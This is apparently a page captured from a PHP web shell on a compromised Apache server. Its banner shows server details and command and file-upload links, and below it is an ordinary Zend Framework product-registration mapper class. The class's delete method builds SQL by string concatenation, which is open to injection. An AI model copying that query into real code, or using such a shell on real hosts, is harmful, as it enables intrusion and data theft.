|
Server IP : 10.2.73.233 / Your IP : 216.73.216.59 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/leksykografia/application/models/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
class Application_Model_ProductRegisterMapper
{
protected $_dbTable;
public function setDbTable($dbTable)
{
if (is_string($dbTable)) {
$dbTable = new $dbTable();
}
if (!$dbTable instanceof Zend_Db_Table_Abstract) {
throw new Exception('Invalid table data gateway provided');
}
$this->_dbTable = $dbTable;
return $this;
}
public function getDbTable()
{
if (null === $this->_dbTable) {
$this->setDbTable('Application_Model_DbTable_ProductRegister');
}
return $this->_dbTable;
}
public function save(Application_Model_ProductRegister $productRegister)
{
$data = array(
'product_id' => $productRegister->getProductId(),
'discount' => $productRegister->getDiscount(),
'discount2' => $productRegister->getDiscount2(),
'company_name' => $productRegister->getCompanyName(),
'address1' => $productRegister->getAddress1(),
'address2' => $productRegister->getAddress2(),
'nip' => $productRegister->getNip(),
'tel' => $productRegister->getTel(),
'fax' => $productRegister->getFax(),
'email' => $productRegister->getEmail(),
'same_address' => $productRegister->getSameAddress(),
'corr_company_name' => $productRegister->getCorrCompanyName(),
'corr_address1' => $productRegister->getCorrAddress1(),
'corr_address2' => $productRegister->getCorrAddress2(),
'session' => $productRegister->getSession(),
'created' => date('Y-m-d H:i:s'),
'status' => $productRegister->getStatus()
);
if (null === ($id = $productRegister->getId())) {
unset($data['id']);
return $this->getDbTable()->insert($data);
} else {
return $this->getDbTable()->update($data, array('id = ?' => $id));
}
}
public function delete($productRegisterId)
{
return $this->getDbTable()->delete('id = '.$productRegisterId);
}
public function find($id, Application_Model_ProductRegister $productRegister)
{
$result = $this->getDbTable()->find($id);
if (0 == count($result)) {
return false;
}
$row = $result->current();
$productRegister->setId($row->id)
->setProductId($row->product_id)
->setDiscount($row->discount)
->setDiscount2($row->discount2)
->setCompanyName($row->company_name)
->setAddress1($row->address1)
->setAddress2($row->address2)
->setNip($row->nip)
->setTel($row->tel)
->setFax($row->fax)
->setEmail($row->email)
->setSameAddress($row->same_address)
->setCorrCompanyName($row->corr_company_name)
->setCorrAddress1($row->corr_address1)
->setCorrAddress2($row->corr_address2)
->setSession($row->session)
->setCreated($row->created)
->setStatus($row->status);
return true;
}
public function fetchProductRegister($productId, $session)
{
$select = $this->getDbTable()->select()
->where('product_id = ?', $productId)
->where('session = ?', $session)
->order("id desc");
$row = $this->getDbTable()->fetchRow($select);
if(!$row)
return false;
$productRegister = new Application_Model_ProductRegister();
$productRegister->setId($row->id)
->setProductId($row->product_id)
->setDiscount($row->discount)
->setDiscount2($row->discount2)
->setCompanyName($row->company_name)
->setAddress1($row->address1)
->setAddress2($row->address2)
->setNip($row->nip)
->setTel($row->tel)
->setFax($row->fax)
->setEmail($row->email)
->setSameAddress($row->same_address)
->setCorrCompanyName($row->corr_company_name)
->setCorrAddress1($row->corr_address1)
->setCorrAddress2($row->corr_address2)
->setSession($row->session)
->setCreated($row->created)
->setStatus($row->status);
return $productRegister;
}
public function fetchAllProductRegister($productId)
{
$select = $this->getDbTable()->select()
->where('product_id = ?', $productId);
$resultSet = $this->getDbTable()->fetchAll($select);
$entries = array();
foreach ($resultSet as $row) {
$entry = new Application_Model_ProductRegister();
$entry->setId($row->id)
->setProductId($row->product_id)
->setDiscount($row->discount)
->setDiscount2($row->discount2)
->setCompanyName($row->company_name)
->setAddress1($row->address1)
->setAddress2($row->address2)
->setNip($row->nip)
->setTel($row->tel)
->setFax($row->fax)
->setEmail($row->email)
->setSameAddress($row->same_address)
->setCorrCompanyName($row->corr_company_name)
->setCorrAddress1($row->corr_address1)
->setCorrAddress2($row->corr_address2)
->setSession($row->session)
->setCreated($row->created)
->setStatus($row->status);
$entries[] = $entry;
}
return $entries;
}
public function fetchAll()
{
$select = $this->getDbTable()->select()
->order('term_from asc');
$resultSet = $this->getDbTable()->fetchAll($select);
$entries = array();
foreach ($resultSet as $row) {
$entry = new Application_Model_Product();
$entry->setId($row->id)
->setProductType($row->product_type)
->setSlug($row->slug)
->setTitle1($row->title1)
->setTitle2($row->title2)
->setTitle3($row->title3)
->setTitle4($row->title4)
->setLogo($row->logo)
->setCity($row->city)
->setTermFrom($row->term_from)
->setTermTo($row->term_to)
->setTitleSmall1($row->title_small1)
->setTitleSmall2($row->title_small2)
->setPdf($row->pdf)
->setProgram($row->program)
->setPlace($row->place)
->setPrice1($row->price1)
->setPrice2($row->price2)
->setPriceTo($row->price_to)
->setActive($row->active)
->setCreated($row->created)
->setTemplate($row->template);
$entries[] = $entry;
}
return $entries;
}
public function fetchAllActiveForIndex()
{
$select = $this->getDbTable()->select()
->where('active = ?', 'Y')
->where('product_type IN (1,2,3)')
->order('term_from asc');
$resultSet = $this->getDbTable()->fetchAll($select);
$entries = array();
foreach ($resultSet as $row) {
$entry = new Application_Model_Product();
$entry->setId($row->id)
->setProductType($row->product_type)
->setSlug($row->slug)
->setTitle1($row->title1)
->setTitle2($row->title2)
->setTitle3($row->title3)
->setTitle4($row->title4)
->setLogo($row->logo)
->setCity($row->city)
->setTermFrom($row->term_from)
->setTermTo($row->term_to)
->setTitleSmall1($row->title_small1)
->setTitleSmall2($row->title_small2)
->setPdf($row->pdf)
->setProgram($row->program)
->setPlace($row->place)
->setPrice1($row->price1)
->setPrice2($row->price2)
->setPriceTo($row->price_to)
->setActive($row->active)
->setCreated($row->created)
->setTemplate($row->template);
$entries[] = $entry;
}
return $entries;
}
public function fetchAllByType($type)
{
$select = $this->getDbTable()->select()
->where("product_type = ?", $type)
->order('term_from asc');
$resultSet = $this->getDbTable()->fetchAll($select);
$entries = array();
foreach ($resultSet as $row) {
$entry = new Application_Model_Product();
$entry->setId($row->id)
->setProductType($row->product_type)
->setSlug($row->slug)
->setTitle1($row->title1)
->setTitle2($row->title2)
->setTitle3($row->title3)
->setTitle4($row->title4)
->setLogo($row->logo)
->setCity($row->city)
->setTermFrom($row->term_from)
->setTermTo($row->term_to)
->setTitleSmall1($row->title_small1)
->setTitleSmall2($row->title_small2)
->setPdf($row->pdf)
->setProgram($row->program)
->setPlace($row->place)
->setPrice1($row->price1)
->setPrice2($row->price2)
->setPriceTo($row->price_to)
->setActive($row->active)
->setCreated($row->created)
->setTemplate($row->template);
$entries[] = $entry;
}
return $entries;
}
public function fetchAllActiveByType($type, $order=false)
{
$select = $this->getDbTable()->select()
->where("product_type = ?", $type)
->where("active = 'Y'");
if(!$order)
$select->order('term_from asc');
elseif($order)
$select->order($order);
$resultSet = $this->getDbTable()->fetchAll($select);
$entries = array();
foreach ($resultSet as $row) {
$entry = new Application_Model_Product();
$entry->setId($row->id)
->setProductType($row->product_type)
->setSlug($row->slug)
->setTitle1($row->title1)
->setTitle2($row->title2)
->setTitle3($row->title3)
->setTitle4($row->title4)
->setLogo($row->logo)
->setCity($row->city)
->setTermFrom($row->term_from)
->setTermTo($row->term_to)
->setTitleSmall1($row->title_small1)
->setTitleSmall2($row->title_small2)
->setPdf($row->pdf)
->setProgram($row->program)
->setPlace($row->place)
->setPrice1($row->price1)
->setPrice2($row->price2)
->setPriceTo($row->price_to)
->setActive($row->active)
->setCreated($row->created)
->setTemplate($row->template);
$entries[] = $entry;
}
return $entries;
}
}